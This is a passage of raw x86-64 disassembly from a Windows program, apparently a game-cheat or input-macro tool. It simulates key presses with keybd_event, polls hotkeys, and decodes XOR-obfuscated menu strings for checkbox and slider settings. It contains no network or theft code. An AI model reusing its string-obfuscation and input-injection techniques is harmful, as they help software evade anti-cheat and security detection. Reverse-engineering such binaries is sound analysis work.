mov dword [rbp + 0x105c], 0x70462f61
mov dword [rbp + 0x1060], 0x71667e
mov byte [rbp + 0x1064], 1
lea rcx, [rbp + 0x1058]
call fcn.140074540
mov rcx, rax
mov dword [rsp + 0x28], r15d
lea rax, str._.f_ms
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1400ec0ac]
movss xmm2, dword [0x1400ebf70]
lea rdx, [0x140170d40]
call fcn.140050f70
cmp byte [0x1401a760d], 1
je 0x14006ce6a
cmp byte [0x1401a760e], 1
je 0x14006ce6a
cmp byte [0x1401a760f], 1
jne 0x14006cf1f
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14006cf1f
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
cvttss2si rcx, dword [0x140170d40]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14006cf0b
mov ecx, 0x50
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
cvttss2si rcx, dword [0x140170d40]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14006cec0
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14006ce80
mov dword [rbp + 0x2d8], 0x696d7b43
mov dword [rbp + 0x2dc], 0x757e4e2e
mov dword [rbp + 0x2e0], 0x7a774032
mov dword [rbp + 0x2e4], 0x1007266
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x2d8], al
inc rcx
cmp rcx, 0xe
jb 0x14006cf50
mov byte [rbp + 0x2e7], 0
xor edx, edx
lea rcx, [rbp + 0x2d8]
call fcn.14004b760
test al, al
je 0x14006d100
movss xmm0, dword [0x140115d58]
call fcn.140024720
mov dword [rbp + 0x3a8], 0x696d7b43
mov word [rbp + 0x3ac], 0x100
lea rcx, [rbp + 0x3a8]
call fcn.140073af0
mov rcx, rax
mov dword [rsp + 0x28], r15d
lea rax, str._.1f
mov qword [rsp + 0x20], rax
movaps xmm3, xmm9
movaps xmm2, xmm13
lea rdx, [0x140170d44]
call fcn.140050f70
test al, al
je 0x14006d0b0
movss xmm0, dword [0x140170d44]
ucomiss xmm0, xmm9
jp 0x14006d006
jne 0x14006d006
movss xmm1, dword [0x1400ec0b8]
mov ecx, 0x5e3d044
call fcn.140072700
movss xmm0, dword [0x140170d44]
ucomiss xmm0, dword [0x1400ebf2c]
jp 0x14006d02b
jne 0x14006d02b
movss xmm1, dword [0x140115d54]
mov ecx, 0x5e3d044
call fcn.140072700
movss xmm0, dword [0x140170d44]
ucomiss xmm0, dword [0x1400ebf28]
jp 0x14006d050
jne 0x14006d050
movss xmm1, dword [0x1400ec0b4]
mov ecx, 0x5e3d044
call fcn.140072700
movss xmm0, dword [0x140170d44]
ucomiss xmm0, dword [0x1400ebf18]
jp 0x14006d071
jne 0x14006d071
movaps xmm1, xmm8
mov ecx, 0x5e3d044
call fcn.140072700
movss xmm0, dword [0x140170d44]
ucomiss xmm0, dword [0x1400ebf0c]
jp 0x14006d096
jne 0x14006d096
movss xmm1, dword [0x140115d30]
mov ecx, 0x5e3d044
call fcn.140072700
movss xmm0, dword [0x140170d44]
ucomiss xmm0, xmm13
jp 0x14006d0b0
jne 0x14006d0b0
movss xmm1, dword [0x140115d2c]
mov ecx, 0x5e3d044
call fcn.140072700
mov dword [rbp + 0x510], 0x7d636859
mov word [rbp + 0x514], WSAGetLastError
mov byte [rbp + 0x516], 1
lea rcx, [rbp + 0x510]
call fcn.140073b20
mov rcx, rax
mov dword [rsp + 0x28], r15d
lea rax, [0x1400ebeb8]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea r8d, [r9 - 0x31]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140050fc0
mov dword [rbp - 8], 0x68647f45
mov word [rbp - 4], 0x7c
mov byte [rbp - 2], 1
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 8], al
inc rcx
cmp rcx, 5
jb 0x14006d120
mov byte [rbp - 2], 0
xor edx, edx
lea rcx, [rbp - 8]
call fcn.14004b760
test al, al
je 0x14006f910
mov dword [rbp + 0xc58], 0x4a2c6444
mov dword [rbp + 0xc5c], 0x62636e7c
mov word [rbp + 0xc60], 0x100
lea rcx, [rbp + 0xc58]
call fcn.140073bb0
mov rcx, rax
lea rdx, [0x1401a7a43]
call fcn.14004ad70
test al, al
je 0x14006d286
movzx eax, byte [0x1401a7a43]
test al, al
je 0x14006d211
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x928], 0x7f4b6444
mov dword [rbp + 0x92c], 0x637c6f
mov byte [rbp + 0x930], 1
lea rcx, [rbp + 0x928]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x788], 0x62616e47
mov dword [rbp + 0x78c], 0x100767c
lea rcx, [rbp + 0x788]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a43]
test al, al
jne 0x14006d286
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x938], 0x7f4b6444
mov dword [rbp + 0x93c], 0x637c6f
mov byte [rbp + 0x940], 1
lea rcx, [rbp + 0x938]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x778], 0x62616e47
mov dword [rbp + 0x77c], 0x100767c
lea rcx, [rbp + 0x778]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3b0], 0x686a6a59
mov word [rbp + 0x3b4], 0x100
lea rcx, [rbp + 0x3b0]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0xf68], 0x687f6e4e
mov dword [rbp + 0xf6c], 0x5c307b7c
mov dword [rbp + 0xf70], 0x1006373
lea rcx, [rbp + 0xf68]
call fcn.1400744e0
mov rcx, rax
lea rdx, [0x1401a7a46]
call fcn.14004ad70
test al, al
je 0x14006d419
movzx eax, byte [0x1401a7a46]
test al, al
je 0x14006d39b
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xc78], 0x687f6e4e
mov dword [rbp + 0xc7c], 0x705d7b7c
mov word [rbp + 0xc80], 0x62
mov byte [rbp + 0xc82], 1
lea rcx, [rbp + 0xc78]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x770], 0x62616e47
mov dword [rbp + 0x774], 0x100767c
lea rcx, [rbp + 0x770]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a46]
test al, al
jne 0x14006d419
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xc88], 0x687f6e4e
mov dword [rbp + 0xc8c], 0x705d7b7c
mov word [rbp + 0xc90], 0x62
mov byte [rbp + 0xc92], 1
lea rcx, [rbp + 0xc88]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x768], 0x62616e47
mov dword [rbp + 0x76c], 0x100767c
lea rcx, [rbp + 0x768]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3b8], 0x667f6258
mov word [rbp + 0x3bc], 0x100
lea rcx, [rbp + 0x3b8]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xc98], 0x5f2c6444
mov dword [rbp + 0xc9c], 0x787f6c6b
mov word [rbp + 0xca0], 0x7e
mov byte [rbp + 0xca2], 1
lea rcx, [rbp + 0xc98]
call fcn.140073be0
mov rcx, rax
lea rdx, [0x1401a7a44]
call fcn.14004ad70
test al, al
je 0x14006d599
movzx eax, byte [0x1401a7a44]
test al, al
je 0x14006d522
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xc48], 0x685e6444
mov dword [rbp + 0xc4c], 0x7d79606d
mov word [rbp + 0xc50], 0x100
lea rcx, [rbp + 0xc48]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x760], 0x62616e47
mov dword [rbp + 0x764], 0x100767c
lea rcx, [rbp + 0x760]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a44]
test al, al
jne 0x14006d599
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xbb8], 0x685e6444
mov dword [rbp + 0xbbc], 0x7d79606d
mov word [rbp + 0xbc0], 0x100
lea rcx, [rbp + 0xbb8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x758], 0x62616e47
mov dword [rbp + 0x75c], 0x100767c
lea rcx, [rbp + 0x758]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3c0], 0x667f6258
mov word [rbp + 0x3c4], 0x100
lea rcx, [rbp + 0x3c0]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x1068], 0x7e7f6e46
mov dword [rbp + 0x106c], 0x72755d2e
mov dword [rbp + 0x1070], 0x787a7d
mov byte [rbp + 0x1074], 1
lea rcx, [rbp + 0x1068]
call fcn.140074540
mov rcx, rax
lea rdx, [0x1401a7a45]
call fcn.14004ad70
test al, al
je 0x14006d727
movzx eax, byte [0x1401a7a45]
test al, al
je 0x14006d6af
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xf78], 0x7e7f6e46
mov dword [rbp + 0xf7c], 0x7e736a5c
mov dword [rbp + 0xf80], 0x1007f7b
lea rcx, [rbp + 0xf78]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x750], 0x62616e47
mov dword [rbp + 0x754], 0x100767c
lea rcx, [rbp + 0x750]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a45]
test al, al
jne 0x14006d727
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xf88], 0x7e7f6e46
mov dword [rbp + 0xf8c], 0x7e736a5c
mov dword [rbp + 0xf90], 0x1007f7b
lea rcx, [rbp + 0xf88]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x748], 0x62616e47
mov dword [rbp + 0x74c], 0x100767c
lea rcx, [rbp + 0x748]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xca8], 0x64616e59
mov dword [rbp + 0xcac], 0x77715c2e
mov word [rbp + 0xcb0], 0x77
mov byte [rbp + 0xcb2], 1
lea rcx, [rbp + 0xca8]
call fcn.140073be0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xf98], 0x797f6a4c
mov dword [rbp + 0xf9c], 0x7e785c2e
mov dword [rbp + 0xfa0], 0x100677d
lea rcx, [rbp + 0xf98]
call fcn.1400744e0
mov rcx, rax
lea rdx, [0x1401a7a47]
call fcn.14004ad70
test al, al
je 0x14006d8c0
movzx eax, byte [0x1401a7a47]
test al, al
je 0x14006d842
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xcb8], 0x797f6a4c
mov dword [rbp + 0xcbc], 0x7e7f675d
mov word [rbp + 0xcc0], 0x66
mov byte [rbp + 0xcc2], 1
lea rcx, [rbp + 0xcb8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x740], 0x62616e47
mov dword [rbp + 0x744], 0x100767c
lea rcx, [rbp + 0x740]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a47]
test al, al
jne 0x14006d8c0
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xcc8], 0x797f6a4c
mov dword [rbp + 0xccc], 0x7e7f675d
mov word [rbp + 0xcd0], 0x66
mov byte [rbp + 0xcd2], 1
lea rcx, [rbp + 0xcc8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x738], 0x62616e47
mov dword [rbp + 0x73c], 0x100767c
lea rcx, [rbp + 0x738]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3c8], 0x667f6258
mov word [rbp + 0x3cc], 0x100
lea rcx, [rbp + 0x3c8]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x1218], 0x797f6543
mov dword [rbp + 0x121c], 0x3164616f
mov dword [rbp + 0x1220], 0x35607a5a
mov dword [rbp + 0x1224], 0x1002660
lea rcx, [rbp + 0x1218]
call fcn.1400745d0
mov rcx, rax
lea rdx, [0x1401a7a48]
call fcn.14004ad70
test al, al
je 0x14006da51
movzx eax, byte [0x1401a7a48]
test al, al
je 0x14006d9d9
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xfa8], 0x797f6543
mov dword [rbp + 0xfac], 0x5964616f
mov dword [rbp + 0xfb0], 0x100677b
lea rcx, [rbp + 0xfa8]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x730], 0x62616e47
mov dword [rbp + 0x734], 0x100767c
lea rcx, [rbp + 0x730]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a48]
test al, al
jne 0x14006da51
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xfb8], 0x797f6543
mov dword [rbp + 0xfbc], 0x5964616f
mov dword [rbp + 0xfc0], 0x100677b
lea rcx, [rbp + 0xfb8]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x728], 0x62616e47
mov dword [rbp + 0x72c], 0x100767c
lea rcx, [rbp + 0x728]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3d0], 0x667f6258
mov word [rbp + 0x3d4], 0x100
lea rcx, [rbp + 0x3d0]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0x1228], 0x797f6543
mov dword [rbp + 0x122c], 0x3164616f
mov dword [rbp + 0x1230], 0x35607a5a
mov dword [rbp + 0x1234], 0x1002560
lea rcx, [rbp + 0x1228]
call fcn.1400745d0
mov rcx, rax
lea rdx, [0x1401a7a49]
call fcn.14004ad70
test al, al
je 0x14006dbed
movzx eax, byte [0x1401a7a49]
test al, al
je 0x14006db6c
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x1128], 0x797f6543
mov dword [rbp + 0x112c], 0x5964616f
mov dword [rbp + 0x1130], 0x2742677b
mov word [rbp + 0x1134], 0x100
lea rcx, [rbp + 0x1128]
call fcn.140074570
mov rbx, rax
mov dword [rbp + 0x720], 0x62616e47
mov dword [rbp + 0x724], 0x100767c
lea rcx, [rbp + 0x720]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a49]
test al, al
jne 0x14006dbed
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x1138], 0x797f6543
mov dword [rbp + 0x113c], 0x5964616f
mov dword [rbp + 0x1140], 0x2742677b
mov word [rbp + 0x1144], 0x100
lea rcx, [rbp + 0x1138]
call fcn.140074570
mov rbx, rax
mov dword [rbp + 0x718], 0x62616e47
mov dword [rbp + 0x71c], 0x100767c
lea rcx, [rbp + 0x718]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x80], 0x667f6258
mov word [rbp - 0x7c], 0x100
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 4
jb 0x14006dc10
mov byte [rbp - 0x7b], 0
lea rcx, [rbp - 0x80]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x208], 0x6e6d6748
mov dword [rbp + 0x20c], 0x7e522f65
mov dword [rbp + 0x210], 0x1006a76
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x208], al
inc rcx
cmp rcx, 0xa
jb 0x14006dc60
mov byte [rbp + 0x213], 0
lea rdx, [0x1401a7a4b]
lea rcx, [rbp + 0x208]
call fcn.14004ad70
test al, al
je 0x14006ddaa
movzx eax, byte [0x1401a7a4b]
test al, al
je 0x14006dd2c
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xcd8], 0x6e6d6748
mov dword [rbp + 0xcdc], 0x757f4d65
mov word [rbp + 0xce0], WSAGetLastError
mov byte [rbp + 0xce2], 1
lea rcx, [rbp + 0xcd8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x710], 0x62616e47
mov dword [rbp + 0x714], 0x100767c
lea rcx, [rbp + 0x710]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a4b]
test al, al
jne 0x14006ddaa
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xce8], 0x6e6d6748
mov dword [rbp + 0xcec], 0x757f4d65
mov word [rbp + 0xcf0], WSAGetLastError
mov byte [rbp + 0xcf2], 1
lea rcx, [rbp + 0xce8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x708], 0x62616e47
mov dword [rbp + 0x70c], 0x100767c
lea rcx, [rbp + 0x708]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1a8], 0x64616e59
mov dword [rbp + 0x1ac], 0x77715c2e
mov word [rbp + 0x1b0], 0x77
mov byte [rbp + 0x1b2], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1a8], al
inc rcx
cmp rcx, 9
jb 0x14006dde0
mov byte [rbp + 0x1b2], 0
lea rcx, [rbp + 0x1a8]
call fcn.140063e30
mov dword [rbp + 0x1f8], 0x656b6244
mov dword [rbp + 0x1fc], 0x7e5d2f7a
mov dword [rbp + 0x200], 0x1007676
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1f8], al
inc rcx
cmp rcx, 0xa
jb 0x14006de30
mov byte [rbp + 0x203], 0
lea rdx, [0x1401a7a4c]
lea rcx, [rbp + 0x1f8]
call fcn.14004ad70
test al, al
je 0x14006df7a
movzx eax, byte [0x1401a7a4c]
test al, al
je 0x14006defc
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xcf8], 0x656b6244
mov dword [rbp + 0xcfc], 0x757f427a
mov word [rbp + 0xd00], 0x77
mov byte [rbp + 0xd02], 1
lea rcx, [rbp + 0xcf8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x700], 0x62616e47
mov dword [rbp + 0x704], 0x100767c
lea rcx, [rbp + 0x700]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a4c]
test al, al
jne 0x14006df7a
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xd08], 0x656b6244
mov dword [rbp + 0xd0c], 0x757f427a
mov word [rbp + 0xd10], 0x77
mov byte [rbp + 0xd12], 1
lea rcx, [rbp + 0xd08]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x6f8], 0x62616e47
mov dword [rbp + 0x6fc], 0x100767c
lea rcx, [rbp + 0x6f8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1b8], 0x64616e59
mov dword [rbp + 0x1bc], 0x77715c2e
mov word [rbp + 0x1c0], 0x77
mov byte [rbp + 0x1c2], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1b8], al
inc rcx
cmp rcx, 9
jb 0x14006dfb0
mov byte [rbp + 0x1c2], 0
lea rcx, [rbp + 0x1b8]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0xa8], 0x2d74624c
mov dword [rbp + 0xac], 0x767e665e
mov word [rbp + 0xb0], 0x100
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0xa8], al
inc rcx
cmp rcx, 8
jb 0x14006e001
mov byte [rbp + 0xb1], 0
lea rdx, [0x1401a7a4d]
lea rcx, [rbp + 0xa8]
call fcn.14004ad70
test al, al
je 0x14006e135
movzx eax, byte [0x1401a7a4d]
test al, al
je 0x14006e0c0
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x948], 0x5d74624c
mov dword [rbp + 0x94c], 0x776167
mov byte [rbp + 0x950], 1
lea rcx, [rbp + 0x948]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x690], 0x62616e47
mov dword [rbp + 0x694], 0x100767c
lea rcx, [rbp + 0x690]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a4d]
test al, al
jne 0x14006e135
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x958], 0x5d74624c
mov dword [rbp + 0x95c], 0x776167
mov byte [rbp + 0x960], 1
lea rcx, [rbp + 0x958]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x780], 0x62616e47
mov dword [rbp + 0x784], 0x100767c
lea rcx, [rbp + 0x780]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x78], 0x686a6a59
mov word [rbp - 0x74], 0x100
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 4
jb 0x14006e150
mov byte [rbp - 0x73], 0
lea rcx, [rbp - 0x78]
call fcn.140063e30
mov dword [rbp + 0x188], 0x6e6d6748
mov dword [rbp + 0x18c], 0x7a432f65
mov word [rbp + 0x190], WSAGetLastError
mov byte [rbp + 0x192], 1
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x188], al
inc rcx
cmp rcx, 9
jb 0x14006e1a0
mov byte [rbp + 0x192], 0
lea rdx, [0x1401a7a4a]
lea rcx, [rbp + 0x188]
call fcn.14004ad70
test al, al
je 0x14006e2dc
movzx eax, byte [0x1401a7a4a]
test al, al
je 0x14006e265
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xbc8], 0x6e6d6748
mov dword [rbp + 0xbcc], 0x687b5c65
mov word [rbp + 0xbd0], 0x100
lea rcx, [rbp + 0xbc8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x810], 0x62616e47
mov dword [rbp + 0x814], 0x100767c
lea rcx, [rbp + 0x810]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a4a]
test al, al
jne 0x14006e2dc
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xa68], 0x6e6d6748
mov dword [rbp + 0xa6c], 0x687b5c65
mov word [rbp + 0xa70], 0x100
lea rcx, [rbp + 0xa68]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x818], 0x62616e47
mov dword [rbp + 0x81c], 0x100767c
lea rcx, [rbp + 0x818]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3d8], 0x667f6258
mov word [rbp + 0x3dc], 0x100
lea rcx, [rbp + 0x3d8]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x10f8], 0x796d7f59
mov dword [rbp + 0x10fc], 0x52306c67
mov dword [rbp + 0x1100], 0x66677c60
mov word [rbp + 0x1104], 0x100
lea rcx, [rbp + 0x10f8]
call fcn.140074570
mov rcx, rax
lea rdx, [0x1401a7a4e]
call fcn.14004ad70
test al, al
je 0x14006e47a
movzx eax, byte [0x1401a7a4e]
test al, al
je 0x14006e3fb
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x1078], 0x796d7f59
mov dword [rbp + 0x107c], 0x63536c67
mov dword [rbp + 0x1080], 0x67607d
mov byte [rbp + 0x1084], 1
lea rcx, [rbp + 0x1078]
call fcn.140074540
mov rbx, rax
mov dword [rbp + 0x820], 0x62616e47
mov dword [rbp + 0x824], 0x100767c
lea rcx, [rbp + 0x820]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a4e]
test al, al
jne 0x14006e47a
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x1088], 0x796d7f59
mov dword [rbp + 0x108c], 0x63536c67
mov dword [rbp + 0x1090], 0x67607d
mov byte [rbp + 0x1094], 1
lea rcx, [rbp + 0x1088]
call fcn.140074540
mov rbx, rax
mov dword [rbp + 0x828], 0x62616e47
mov dword [rbp + 0x82c], 0x100767c
lea rcx, [rbp + 0x828]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xd18], 0x64616e59
